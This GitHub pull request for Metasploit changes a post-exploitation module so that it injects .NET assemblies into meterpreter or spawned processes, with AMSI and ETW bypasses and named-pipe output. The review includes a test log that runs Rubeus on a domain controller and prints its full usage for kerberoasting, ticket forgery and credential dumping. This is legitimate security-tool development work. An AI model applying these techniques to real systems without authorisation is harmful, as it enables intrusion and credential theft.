Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Allow .NET assembly execution within the meterpreter process #18114

Merged
merged 7 commits into from Jun 27, 2023

Conversation

smashery
Copy link
Contributor

This modifies the execute_dotnet_assembly module in a few ways; primarily supporting the ability to run the module within meterpreter itself, rather than the existing behaviour of requiring execution in a separate process.

Supporting this work has meant a few significant changes:

  • Most notably, it now uses Named Pipes to transfer stdout/stderr back to MSF. Previously, to get output back, you needed to launch a new process, and retrieve stdout/stderr from it.
  • In doing so, it is possible to retrieve output when injected into other processes, or even our own process.
  • Because this approach enables a more user-friendly approach to using existing processes, or even launching into your own process, this required a bit of work to the HostingCLR project to do proper cleanup (to avoid memory leaks, and properly handle the CLR-related COM objects)
  • This PR also changes the datastore options to be what I consider to be more obvious about the intent; specifically:
    • Explicitly specifying the injection technique being used (into our own process, spawn and inject, or inject only)
    • Modifying the meaning of the KILL option: by default, it will now kill spawned processes, but will not kill solely injected processes (especially when injecting into our own process)

Known issues

There are a few situations which are known to not work; but these existed in the module prior to these changes:

Technical details of the changes

So the big changes here:

  • Change HostingCLR to use named pipes to communicate back to MSF. This is done by creating the named pipe, and then setting the process's stdout and stderr handles to the named pipe. Stdout and stderr are restored to their initial values after the assembly completes.
  • Use a Custom App Domain rather than the existing one (this makes it more reliable when a process being injected into already has .NET loaded, since App Domains are isolated. It should also eventually support running multiple assemblies simultaneously without stepping on each other).
  • Removed the redundant code to detect the CLR version of the assembly (since it was being performed on MSF and then again on the host - now we just do it in MSF).
  • To support all of the above, added a few more "parameters" that are passed in to instruct the HostingCLR DLL what to do.
  • COM objects and named pipes are cleaned up on the C++ side. The memory allocated for the DLL and the assembly+params is cleaned up from the MSF side (where they were allocated).

Verification steps

  • Run the execute_dotnet_assembly with a range of assemblies under various OSes and .NET versions.
  • Test in a variety of operating systems and .NET versions
    • Note that it's expected to fail in circumstances where only .NET 2 is installed; though running in .NET 2 when .NET 4 is also installed should succeed.
  • Test thread impersonation (e.g. getsystem, then the spawned process should run as system if true, or as the user if false)
  • Test what happens when a .NET exception bubbles all the way up (shouldn't crash, though we don't yet expect the error message to be displayed)
  • Test injecting into a process that already has the same CLR loaded (e.g. load a .NET4 assembly into PowerShell on Windows 10)
  • Failure cases (make sure it's a graceful failure):
  • Inject into/spawn a 32-bit process
  • Try run in an unsupported meterpreter (e.g. Python)
  • Try run in a command shell session

Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Left a few comments from my first review but I'm not done yet and I haven't tested things yet.

Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I left the rest of my comments from my review now that I've finished. Also the PPID fix has been landed so would you mind rebasing this to pull in the changes from #18129 which bumps the metasploit-payloads gem to include it?

modules/post/windows/manage/execute_dotnet_assembly.rb Outdated Show resolved Hide resolved
modules/post/windows/manage/execute_dotnet_assembly.rb Outdated Show resolved Hide resolved
Comment on lines 266 to 271
pipe_suffix = Rex::Text.rand_text_alphanumeric(8)
pipe_name = "\\\\.\\pipe\\#{pipe_suffix}"
appdomain_name = Rex::Text.rand_text_alpha(9)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would you mind please vprinting these values? They could be useful in the future if we need to debug something.

modules/post/windows/manage/execute_dotnet_assembly.rb Outdated Show resolved Hide resolved
Comment on lines 150 to 153
# This has to be here, not in cleanup, because if an exception is raised
# on the MSF side, we don't want to prematurely clean up the DLL that may
# still be running.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you update the C++ code to exit by calling ReflectiveFreeAndExitThread I think you can not only avoid this issue but also free the memory that the loader itself allocates here.

When I added that code in rapid7/metasploit-payloads#631, I tested it pretty thoroughly on a few different versions of Windows including x86 and x64.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do you mean to copy that function into the HostingCLR solution and call it from there?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes. Until we move it into a central location in the ReflectiveDLLInjection repository where it probably belongs, we'll need to copy it around. AFAIK, this will be the second time it's used so the first time it's been copied.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I've done that, and am now freeing the three chunks of memory (assembly+params, reflectively loaded DLL and bootstrapping code) in the C++ side.

@smashery smashery force-pushed the dotnet_execute_changes branch 2 times, most recently from f1a1a9b to abf5ab4 Compare June 21, 2023 01:57
@smashery smashery mentioned this pull request Jun 22, 2023
6 tasks
The _AppDomainPtr, _AssemblyPtr and _MethodInfoPtr variables are COM smart pointers which will auto-Release() when they go out of scope, so we should not directly Release() them.
@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented Jun 23, 2023

Below you'll find the details of the issues I found while testing this. Unless otherwise stated, the target was a Windows Server 2019 x64 instance that has been promoted to being a DC.

SPAWN_AND_INJECT crash

I'm seeing it reliably crash when the technique is SPAWN_AND_INJECT after it has been run with the SELF technique. I was able to reproduce this a couple of times.

To reproduce this:

  • Obtain a session
  • Run Rubeus.exe using the SPAWN_AND_INJECT technique, using the defaults to spawn notepad.exe on a 64-bit host
  • Run Rubeus.exe again using the SELF technique
  • Run Rubeus.exe a third time, again using the SPAWN_AND_INJECT technique, this time it'll crash the session
Testing Output
   PID                    no        PID to inject into



msf6 post(windows/manage/execute_dotnet_assembly) > show options 

Module options (post/windows/manage/execute_dotnet_assembly):

   Name        Current Setting                                                    Required  Description
   ----        ---------------                                                    --------  -----------
   AMSIBYPASS  true                                                               yes       Enable AMSI bypass
   ARGUMENTS   -h                                                                 no        Command line arguments
   DOTNET_EXE  /home/smcintyre/Repositories/Rubeus/Rubeus/bin/Release/Rubeus.exe  yes       Assembly file name
   ETWBYPASS   true                                                               yes       Enable ETW bypass
   SESSION     -1                                                                 yes       The session to run this module on
   Signature   Automatic                                                          yes       The Main function signature (Accepted: Automatic, Main(), Main(string[]))
   TECHNIQUE   SPAWN_AND_INJECT                                                   yes       Technique for executing assembly (Accepted: SELF, INJECT, SPAWN_AND_INJECT)


   When TECHNIQUE is SPAWN_AND_INJECT:

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   PPID                             no        Process Identifier for PPID spoofing when creating a new process (no PPID spoofing if unset)
   PROCESS         notepad.exe      no        Process to spawn
   USETHREADTOKEN  true             no        Spawn process using the current thread impersonation


   When TECHNIQUE is INJECT:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   PID                    no        PID to inject into


View the full module info with the info, or info -d command.

msf6 post(windows/manage/execute_dotnet_assembly) > run technique=SPAWN_AND_INJECT

[*] Dot Net Versions installed on target: ["2.0.50727.4927", "3.0.30729.4926", "3.5.30729.4926", "4.7.03190", "4.0.0.0"]
[*] CLR version required: v4.0.30319
[*] Requirements ok
[*] Running module against DC
[*] Launching notepad.exe to host CLR...
[+] Process 3860 launched.
[*] Reflectively injecting the Host DLL into 3860..
[*] Injecting Host into 3860...
[*] Connecting with CLR via \\.\pipe\BAJFubZD
[*] Running in new AppDomain: tIZiqcdwc
[*] Host injected. Copy assembly into 3860...
[*] Assembly copied.
[*] Executing...
[*] Start reading output
[*] Writing output to /home/smcintyre/.msf4/logs/dotnet/log_Rubeus.exe_20230623114337

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0 


 Ticket requests and renewals:

    Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session:
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Retrieve a TGT using a PCKS12 certificate, start a /netonly process, and to apply the ticket to the new process/logon session:
        Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Retrieve a TGT using a certificate from the users keystore (Smartcard) specifying certificate thumbprint or subject, start a /netonly process, and to apply the ticket to the new process/logon session:
        Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]

    Request a TGT without sending pre-auth data:
        Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Request a service ticket using an AS-REQ:
        Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket:
        Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:
        Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]

    Perform a Kerberos-based password bruteforcing attack:
        Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]

    Perform a scan for account that do not require pre-authentication:
        Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]


 Constrained delegation abuse:

    Perform S4U constrained delegation abuse:
        Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy]
        Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Perform S4U constrained delegation abuse across domains:
        Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac]


 Ticket Forgery:

    Forge a golden ticket using LDAP to gather the relevent information:
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a golden ticket using LDAP to gather the relevent information but explicitly overriding some values:
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/newpac] [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a golden ticket, setting values explicitly:
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/newpac] [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a silver ticket using LDAP to gather the relevent information:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a silver ticket using LDAP to gather the relevent information, using the KRBTGT key to calculate the KDCChecksum and TicketChecksum:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbenctype:DES|RC4|AES128|AES256] [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a silver ticket using LDAP to gather the relevent information but explicitly overriding some values:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a silver ticket using LDAP to gather the relevent information and including an S4UDelegationInfo PAC section:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a silver ticket using LDAP to gather the relevent information and setting a different cname and crealm:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a silver ticket, setting values explicitly:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]

    Forge a diamond TGT by requesting a TGT based on a user password/hash:
        Rubeus.exe diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
    
    Forge a diamond TGT by requesting a TGT using a PCKS12 certificate:
        Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
    
     Forge a diamond TGT by requesting a TGT using tgtdeleg:
        Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]


 Ticket management:

    Submit a TGT, optionally targeting a specific LUID (if elevated):
        Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]

    Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
        Rubeus.exe purge [/luid:LOGINID]

    Parse and describe a ticket (service ticket or TGT):
        Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN]


 Ticket extraction and harvesting:

    Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service:
        Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

    List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID:
        Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

    Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
        Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]

    Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:
        Rubeus.exe tgtdeleg [/target:SPN]

    Monitor every /interval SECONDS (default 60) for new TGTs:
        Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]

    Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200):
        Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]


 Roasting:

    Perform Kerberoasting:
        Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Perform Kerberoasting, outputting hashes to a file:
        Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]

    Perform Kerberoasting, outputting hashes in the file output format, but to the console:
        Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Perform Kerberoasting with alternate credentials:
        Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Perform Kerberoasting with an existing TGT:
        Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]

    Perform Kerberoasting with an existing TGT using an enterprise principal:
        Rubeus.exe kerberoast </spn:user@domain.com | /spns:user1@domain.com,user2@domain.com> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]

    Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail:
        Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]

    Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts:
        Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]

    Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts:
        Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]

    List statistics about found Kerberoastable accounts without actually sending ticket requests:
        Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]

    Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter):
        Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]

    Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets:
        Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]

    Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%:
        Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]

    Perform AES Kerberoasting:
        Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]

    Perform Kerberoasting using an account without pre-auth by sending AS-REQ's:
        Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> /preauth:USER /domain:DOMAIN [/dc:DOMAIN_CONTROLLER] [/nowrap]

    Perform AS-REP "roasting" for any users without preauth:
        Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Perform AS-REP "roasting" for any users without preauth, outputting Hashcat format to a file:
        Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]

    Perform AS-REP "roasting" for any users without preauth using alternate credentials:
        Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/nowrap]


 Miscellaneous:

    Create a hidden program (unless /show is passed) with random (or user-defined) /netonly credentials, displaying the PID and LUID:
        Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/username:USERNAME] [/domain:DOMAIN] [/password:PASSWORD]

    Reset a user's password from a supplied TGT (AoratoPw):
        Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME]

    Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes:
        Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]

    Substitute an sname or SPN into an existing service ticket:
        Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/ptt] [/luid] [/nowrap]
        Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/ptt] [/luid] [/nowrap]
    
    Display the current user's LUID:
        Rubeus.exe currentluid

    Display information about the (current) or (target) logon session, default all readable:
        Rubeus.exe logonsession [/current] [/luid:X]

    The "/consoleoutfile:C:\FILE.txt" argument redirects all console output to the file specified.

    The "/nowrap" flag prevents any base64 ticket blobs from being column wrapped for any function.

    The "/debug" flag outputs ASN.1 debugging information.


 NOTE: Base64 ticket blobs can be decoded with :

    [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))


[*] End output.
[+] Execution finished.
[+] Killing process 3860
[*] Post module execution completed
msf6 post(windows/manage/execute_dotnet_assembly) > run technique=SELF

[*] Dot Net Versions installed on target: ["2.0.50727.4927", "3.0.30729.4926", "3.5.30729.4926", "4.7.03190", "4.0.0.0"]
[*] CLR version required: v4.0.30319
[*] Requirements ok
[*] Running module against DC
[*] Opening handle to process 1724...
[+] Handle opened
[*] Reflectively injecting the Host DLL into 1724..
[*] Injecting Host into 1724...
[*] Connecting with CLR via \\.\pipe\rMOmQe4S
[*] Running in new AppDomain: YZXKDHQfJ
[*] Host injected. Copy assembly into 1724...
[*] Assembly copied.
[*] Executing...
[*] Start reading output
[*] Writing output to /home/smcintyre/.msf4/logs/dotnet/log_Rubeus.exe_20230623114343

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0 


 Ticket requests and renewals:

    Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
